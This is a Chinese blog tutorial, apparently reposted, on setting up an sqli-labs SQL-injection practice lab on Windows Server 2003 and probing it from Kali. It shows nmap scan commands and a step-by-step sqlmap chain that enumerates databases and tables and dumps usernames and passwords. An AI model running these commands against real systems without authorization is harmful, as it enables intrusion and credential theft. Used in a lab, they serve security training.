- 参考博客【SQL注入系列(一)——超详细SQL注入环境搭建】,原博主写得更为详细,如有疑惑,可参考原文章
实验环境说明
| 身份 | 系统版本 | IP地址 |
|---|---|---|
| 服务器 | Windows Server 2003 | 192.168.43.128 |
| 攻击者 | Kali 5.3.0 | 192.168.43.5 |
软件及环境下载
-
下载phpstudy,运行Apache和MySql
- 【phpstudy官网】
- 我下载的是适用Windows的2016的版本【下载地址】
-
下载靶机环境
- 【Github项目地址】
- 【阿里云盘下载地址】(因为有分享限制,已经将压缩包解压)
软件安装与环境部署
- 安装phpstudy软件,注意安装路径,可能需要修改
- 因为使用的是虚拟机环境,我是将软件安装在
E:phpStudy下的 - 需要关闭防火墙(因为作为靶机使用,安装完成系统后,就已经将防火墙关闭了)
- 因为使用的是虚拟机环境,我是将软件安装在
- 安装完成后,启动phpStudy,同时启动服务
- 因为服务器还开启了IIS服务,所以80端口被占用,这里修改为了8080端口。如果启动服务端口被占用,可以关闭相应端口的服务或者更换phpStudy的服务端口

-
访问测试
- 使用地址
192.168.43.128:8080/phpinfo.php(如果没有修改端口,则不需要使用端口号) - 出现如下情况即表示成功

- 使用地址
-
将靶场环境复制进服务器中
- 将下载的靶场环境文件放入到phpStudy的环境中
- 将整个
sqli-labs-master文件夹复制到E:phpStudyWWW中(如果是Github下载的压缩包,需要解压) - 找到
E:phpStudyWWWpenetrationsql-connections文件夹下的db-creds.inc文件,将$dbpass =''后的引号内添加数据库的密码($dbpass ='root')- Github项目的需要自己更改,阿里云盘下载的已经修改了
- 如果更改过MySql数据库的密码,可以通过以下方式查看密码

- 访问靶场环境测试
- 使用
http://192.168.43.128:8080/sqli-labs-master访问测试(这里我修改了靶场环境的文件夹名,所以是http://192.168.43.128:8080/penetration) - 点击
Setup/reset Database for labs检查是否可以正常连接数据库
- 使用


- 环境搭建完成!
Kali测试
nmap测试
-
nmap的端口状态
-
open:端口是开放的 -
closed:端口是关闭的 -
filtered:端口被 Firewall/IDS/IPS 屏蔽,无法确定其状态 -
unfiltered:端口没有被屏蔽,但是否开放需要进一步确定 -
open|filtered:端口是开放的或被屏蔽 -
closed|filtered:端口是关闭的或被屏蔽
-
-
常用选项
-p扫描指定端口-f快速模式-扫描比默认扫描更少的端口-v显示扫描过程-A全面系统检测、启用脚本检测、扫描等-V显示版本号-h帮助信息-exclude-ports从扫描中排除指定端口-top-ports扫描最常用的端口-open仅显示开放的端口-sS使用TCP的SYN进行扫描-sT使用TCP进行扫描-sUUDP扫描
- 参考博客
- 【Nmap使用方法_半砖的博客-CSDN博客_nmap使用教程】
- 【nmap详细使用教程_Rex Xie的博客-CSDN博客_nmap使用教程】
-
使用命令
nmap -p 22,23,80,3389 192.168.43.128,扫描22、23、80、3389端口是否开启- 由扫描结果可以看到只开启了80和3389端口

- 使用命令
nmap -O 192.168.43.128,扫描主机的操作系统- 根据扫描结果,可以看到主机开放的端口和主机的操作系统

sqlmap测试
- 在使用sqlmap工具时,报错
[22:18:19] [WARNING] you haven't updated sqlmap for more than 920 days!!!- 使用命令
sqlmap --update更新sqlmap工具
- 要保证Kali可以联网
- 常用选项
-h帮助文档-v显示详细信息-d直接连接数据库-u指定url扫描,url必须存在查询参数。例xxx.php?id=1-l后面跟一个log文件,判断log(日志)文件中所有记录是否存在注入点--version查看sqlmap版本信息--dbs查看目标服务器有什么数据库--tables目标主机中的数据库有什么数据表--columns获取目标主机中数据库的列数信息--dump查询指定范围的所有数据--search查询目的主机是否存在相当应的列、表和数据库-D指定数据库-T指定数据表-C指定字段
- 参考博客
- 【sqlmap 使用教程_月生ψ的博客-CSDN博客_sqlmap使用教程】
- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1"扫描,检查是否存在注入漏洞

- 可以看到靶机的PHP、Apache、MySQL的版本信息
- URL后一定要有
?id=1

- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" -dbs,获取数据库信息

- 可以看到存在的数据库

- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" -D test --tables,获取数据库中的表单信息

- 可以看到test数据库中的存在的表单

- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" -D test -T badboy --columns,获取表单中的所有字段信息

- 可以看到badboy表单中所有的字段信息

- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" -D test -T badboy -C username --dump,获取表单中的指定字段的内容信息

- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" -D test -T badboy -C password --dump,获取表单中的admin的密码信息

- 在进行测试的过程中,在服务器更改了数据库内容,添加了表单,但是在使用Sqlmap获取数据库表单时,没有更新出新的表单。服务重启、服务器重启、Kali重启都还是没有更新出新的表单
- 因为sqlmap在进行注入时,会有缓存记录保存在
/root/.local/share/sqlmap/output中- 解决办法
- 使用命令
rm -rf /root/.sqlmap/output/x.x.x.x删除旧的缓存记录,x.x.x.x表示注入的IP地址。删除后重新启动- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" --purge清理缓存
复制代码
1
2以上内容均属原创,如有不详或错误,敬请指出。
本文链接: http://t.csdn.cn/KTtHS
版权声明: 本博客所有文章除特别声明外,均采用
CC BY-NC-SA 4.0 许可协议。转载请联系作者注明出处并附带本文链接!
最后
以上就是魁梧月饼最近收集整理的关于Win Server 2003搭建Sql注入环境实验环境说明软件及环境下载软件安装与环境部署Kali测试的全部内容,更多相关Win内容请搜索靠谱客的其他文章。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复